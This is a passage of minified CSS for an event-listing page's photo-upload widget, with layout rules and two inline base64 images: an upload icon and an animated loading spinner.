div:first-child{width:50%}.EV_Item .EV_ItemInfos > div:nth-child(2){width:20%}.EV_Item .EV_ItemInfos .EV_ItemTitle a{display:block;font-size:18px;font-weight:700;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.EV_Item .EV_ItemInfos .EV_ItemTitle p{font-size:13px;margin-top:10px}.EV_UploadPhoto{width:525px}.EV_UploadPhoto ul{margin:0;padding:0!important}.EV_UploadPhoto ul li{background:#eee;background-position:center;border:2px dashed #1675bc;float:left;height:100px;list-style-type:none;margin:0 10px 10px 0;padding:0;position:relative;width:100px}.EV_UploadPhoto ul li#EV_main_img{height:250px;width:430px}.EV_UploadPhoto .EV_Photo{cursor:pointer;display:block;height:100%;position:absolute;width:100%}.EV_UploadPhoto .EV_Photo input[type="file"]{-khtml-opacity:0;-moz-opacity:0;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=0);filter:alpha(opacity=0);opacity:0}.EV_UploadPhoto .EV_Photo span{color:#000;display:block;text-align:center;width:100%}.EV_UploadPhoto .EV_Photo span.hidden{display:none}.EV_UploadPhoto .EV_Photo span:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAACXBIWXMAABuvAAAbrwFeGpEcAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAANISURBVHja7JvPa9RAFMfH+gtZ1FqKtCJ6EkXrweLR01JKFf0XFrT4gT0rCAvqVg+iIPTgqSIeFipIqYKLwh6kIFREClLwXE+iWG2l7UHdsl5epIZsNslmZpJmDw+WTSZ530+SN2/mzahGo6GybKoDoAMg4wAAnVYGGm1aWaePSRevHUIaxGuFkBbx2iCkSbwWCGkTHzuENIqPFUJaxccGwevPY0AJeAesWBQXl62IlpJoawqgH5jeBIJb2bRo/Q9AH7CQAfGOLYjmfwBmMyTesVkHQD6D4h3LK2AywwAmFTCXYQBzCljKMIAlZfiGX4AXksCcl+5oD3ACOAs8ABZN+mQKwG/gOrAtQHa2A7gE/NgsAOaBUxHS1D55W1IN4KE80ai5+lbgaVoBzLcp3rFu4FPaAPwBBtsUfgC4ozsW6AIw1obwQaAigTOVQfArsD2i+JLpXEAHgGoE4VuA+y260ZoAKgBDYgX5rxb1jdEBoBwh0j9ucq3PQFECYZBgWZQ2VgFcCCF+J/DM4xp1iSO5CG9TTtrWbQHoD+HsTY/2y8BIDN3niFzLOIDeEJneqof4gRbt3PfzO3egFQQdAM4EBDDh8doHefJhADhvQt0kgMsBnDru4VTQ3CEsACXXNgZgPIBDVY9on9MIINesd9ABYBHY7ePMYY82xRDBLQoAJfcwlgrf8HHkokeS020AQI9XLNAFYBnY18SRiuvcWsjuLSoABcyYHA6/kkTH7cR713klgwDGTE+IVD3mBNxj+0ILge3axmuP2pgSqwL7Nzix5jo+ZBDAsK1J0VXgNrAX+JVFAI59l9miRH0CtgsjNoPgzySUxmx2g2+TUBy1mQhdTUp53FYqfCgpCyRsDIZeJm2JjMnh8DpwMmmLpExOiDxK6jI5E1Nia1J10r5cPojdszApesvUfoGgBZEpg9PiU+6qlW0ACtgln5tfYaQnYD/vVxipSBFGJQ2AktHi6xYBckae7KgMaobl95gc8yuETABdprfMhLUu4FrMVeE6cFc+NZV0AI6dBj7GILwCHLG5aard4JgHnnjMH/jZuoxtjiZh11hc1ivBbRx4DnyQ7u0b8EbWIV0BzgEHQ+8X6Owc7QDoAMi0/R0A898zkDjdtWoAAAAASUVORK5CYII=);background-repeat:no-repeat;background-size:100%;content:"";display:block;height:30px;margin:25px auto 5px;width:30px}.EV_UploadPhoto #EV_main_img .EV_Photo span:before{margin:100px auto 5px}.EV_UploadPhoto .progress{background:rgba(255,255,255,0.6);display:none;height:100%;left:0;margin:0;position:absolute;right:0;top:0;width:100%;z-index:3000}.EV_UploadPhoto div.progress:before{background-image:url(data:image/gif;base64,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